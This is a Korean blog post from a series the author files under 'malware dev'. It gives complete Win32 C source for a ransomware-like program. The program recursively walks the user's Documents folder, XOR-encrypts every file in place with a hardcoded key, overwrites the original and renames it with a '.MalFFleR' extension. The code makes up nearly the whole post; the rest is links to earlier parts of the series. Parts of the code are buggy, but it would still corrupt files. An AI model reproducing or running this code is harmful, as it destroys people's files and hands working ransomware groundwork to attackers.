woonadz :)

WIN32 API 프로그래밍 - 특정 파일 암호화 및 확장자 변경하기: 지금까지의 코드 병합 본문

IT/malware dev

WIN32 API 프로그래밍 - 특정 파일 암호화 및 확장자 변경하기: 지금까지의 코드 병합

C_scorch 2023. 11. 1. 16:29
반응형
 
#include <Windows.h>
#include <stdio.h>
#include <shlobj_core.h>
#include <combaseapi.h>
#include <fileapi.h>
#include <string.h>
#include <shlwapi.h>

#define MAX_PATH 1000
#define buffersize 1024

#pragma comment (lib, "shlwapi.lib")

const BYTE xorKey[] = { 'M', 'a', 'l', 'F', 'F', 'l', 'e', 'R' };

void all_file_list(wchar_t* path);
void file_encrypt_xor(wchar_t* path);

int main(void) {
	char* document_path = NULL;
	REFKNOWNFOLDERID ID = &FOLDERID_Documents;
	HRESULT document;

	document = SHGetKnownFolderPath(ID, 0, NULL, &document_path); //documents 폴더의 경로 가져오기
	if (document == 0) { //documents 폴더의 경로를 정상적으로 반환했다면 경로 출력
		all_file_list(document_path);
	}

	CoTaskMemFree(document_path); //할당된 메모리 해제

}

void all_file_list(wchar_t* path) {
	wchar_t folder_path[MAX_PATH];
	WIN32_FIND_DATAW file_list;
	HANDLE result_handle;

	wcscpy_s(folder_path, MAX_PATH, path);
	wcscat_s(folder_path, MAX_PATH, L"\\*");
	result_handle = FindFirstFileW(folder_path, &file_list);

	do {
		if (wcscmp(file_list.cFileName, L".") != 0 && wcscmp(file_list.cFileName, L"..") != 0) {
			if (file_list.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { // 만약 폴더라면
				wchar_t tmp_path[MAX_PATH];
				wcscpy(tmp_path, path);
				wcscat(tmp_path, L"\\");
				wcscat(tmp_path, file_list.cFileName);
				all_file_list(tmp_path); // 재귀함수를 통해 자식 폴더의 파일들까지 모두 출력
			}
			else {
				wchar_t tmp_path[MAX_PATH];
				wcscpy_s(tmp_path, sizeof(tmp_path) / sizeof(wchar_t), path);
				wcscat_s(tmp_path, MAX_PATH, L"\\");
				wcscat_s(tmp_path, MAX_PATH, file_list.cFileName);
				file_encrypt_xor(tmp_path);
			}
		}
	} while (FindNextFileW(result_handle, &file_list) != 0);

	FindClose(result_handle);
}

void file_encrypt_xor(wchar_t* path) {
	LPVOID buffer[buffersize];
	DWORD BytesRead = 0;
	BYTE* data = NULL;
	DWORD totalBytesRead = 0;
	HANDLE CreateFile_result_read = CreateFileW(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	while (ReadFile(CreateFile_result_read, buffer, buffersize, &BytesRead, NULL) && BytesRead > 0) {
		data = (BYTE*)realloc(data, totalBytesRead + BytesRead);
		memcpy(data + totalBytesRead, buffer, BytesRead);
		totalBytesRead += BytesRead;
	}

	for (DWORD i = 0; i < totalBytesRead; i++) {
		data[i] ^= xorKey[i % 8]; // 8바이트 키를 순환하며 XOR 연산
	}

	CloseHandle(CreateFile_result_read); // 핸들을 닫음

	// 파일을 열 때 기존 내용을 삭제하고 덮어쓰기 위해 CREATE_ALWAYS 사용
	HANDLE CreateFile_result_write = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

	BOOL result = WriteFile(CreateFile_result_write, data, totalBytesRead, NULL, NULL); // XOR로 암호화된 데이터 덮어쓰기

	free(data);
	CloseHandle(CreateFile_result_write); // 핸들을 닫음

	wchar_t newpath[10000]; // 확장자를 제외한 경로를 파싱할 변수
	wcscpy(newpath, path);
	wchar_t res[10000]; // 확장자를 바꿀 파일의 경로
	wcscpy(res, path);
	wchar_t mid[10000];
	wchar_t* Ext = L".MalFFleR"; // 새로운 확장자
	wchar_t* context;

	wcstok(newpath, ".", &context); // "."을 기준으로 문자열 파싱

	if (newpath != NULL) {
		wcscpy(mid, newpath);
		wcscat(mid, Ext); // 새로운 확장자와 결합
		printf("%ls\n", res);
		if (MoveFileW(res, mid) != 0) { // 파일명 변경
			printf("Rename successful.\n");
		}
		else {
			perror("failed");
			printf("Rename failed.\n");
		}
	}
}

지금까지 만들었던 기능들을 합친 코드입니다. 

각 코드에 대한, 함수에 대한 설명은 아래 링크를 참조해주시길 바랍니다.

 

폴더 경로 가져오기 : https://scorchingnraining.tistory.com/entry/WIN32-API-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D-%ED%8F%B4%EB%8D%94-%EA%B2%BD%EB%A1%9C-%EA%B0%80%EC%A0%B8%EC%98%A4%EA%B8%B0SHGetKnownFolderPath

 

WIN32 API 프로그래밍 - 폴더 경로 가져오기(SHGetKnownFolderPath)

SHGetKnownFolderPath 함수 : 폴더의 KNOWNFOLDERID로 식별된 알려진 폴더의 전체 경로를 검색합니다. HRESULT SHGetKnownFolderPath( [in] REFKNOWNFOLDERID rfid, [in] DWORD dwFlags, [in, optional] HANDLE hToken, [out] PWSTR *ppszPath ); [i

scorchingnraining.tistory.com

 

폴더 내 모든 파일 출력하기 : https://scorchingnraining.tistory.com/entry/WIN32-API-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D-%ED%8F%B4%EB%8D%94-%EB%82%B4-%EB%AA%A8%EB%93%A0-%ED%8C%8C%EC%9D%BC-%EC%B6%9C%EB%A0%A5%ED%95%98%EA%B8%B0FindFirstFileA-FindNextFileA

 

WIN32 API 프로그래밍 - 폴더 내 모든 파일 출력하기(FindFirstFileA, FindNextFileA)

FindFirstFileA 함수 HANDLE FindFirstFileA( [in] LPCSTR lpFileName, [out] LPWIN32_FIND_DATAA lpFindFileData ); [in] lpFileName 디렉터리 또는 경로 및 파일 이름입니다. 파일 이름에는 와일드카드 문자(예: 별표(*) 또는 물음

scorchingnraining.tistory.com

 

특정 파일 XOR 암호화하기(1) : https://scorchingnraining.tistory.com/entry/%ED%8A%B9%EC%A0%95-%ED%8C%8C%EC%9D%BC-XOR-%EC%95%94%ED%98%B8%ED%99%94%ED%95%98%EA%B8%B01-%ED%8C%8C%EC%9D%BC-%EB%8D%B0%EC%9D%B4%ED%84%B0-%EB%B6%88%EB%9F%AC%EC%99%80%EC%84%9C-%EC%95%94%ED%98%B8%ED%99%94%ED%95%98%EA%B8%B0

 

WIN32 API 프로그래밍 - 특정 파일 XOR 암호화하기(1):파일 데이터 불러와서 암호화하기 (CreateFileA, Rea

CreateFileA 함수 : 파일 또는 I/O 디바이스를 열거나 생성합니다. HANDLE CreateFileA( [in] LPCSTR lpFileName, [in] DWORD dwDesiredAccess, [in] DWORD dwShareMode, [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes, [in] DWORD dwCreati

scorchingnraining.tistory.com

 

특정 파일 XOR 암호화하기(2) : https://scorchingnraining.tistory.com/entry/WIN32-API-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D-%ED%8A%B9%EC%A0%95-%ED%8C%8C%EC%9D%BC-XOR-%EC%95%94%ED%98%B8%ED%99%94%ED%95%98%EA%B8%B02%EC%95%94%ED%98%B8%ED%99%94%EB%90%9C-%EB%8D%B0%EC%9D%B4%ED%84%B0-%EC%83%88%EB%A1%9C%EC%9A%B4-%ED%99%95%EC%9E%A5%EC%9E%90%EB%A1%9C-%EC%A0%80%EC%9E%A5%ED%95%98%EA%B8%B0-WriteFile

 

WIN32 API 프로그래밍 - 특정 파일 XOR 암호화하기(2):암호화된 데이터 새로운 확장자로 저장하기 (Wri

WriteFile : 지정된 파일 또는 I/O(입출력) 디바이스에 데이터를 씁니다. BOOL WriteFile( [in] HANDLE hFile, [in] LPCVOID lpBuffer, [in] DWORD nNumberOfBytesToWrite, [out, optional] LPDWORD lpNumberOfBytesWritten, [in, out, optional] LPOVE

scorchingnraining.tistory.com

 

반응형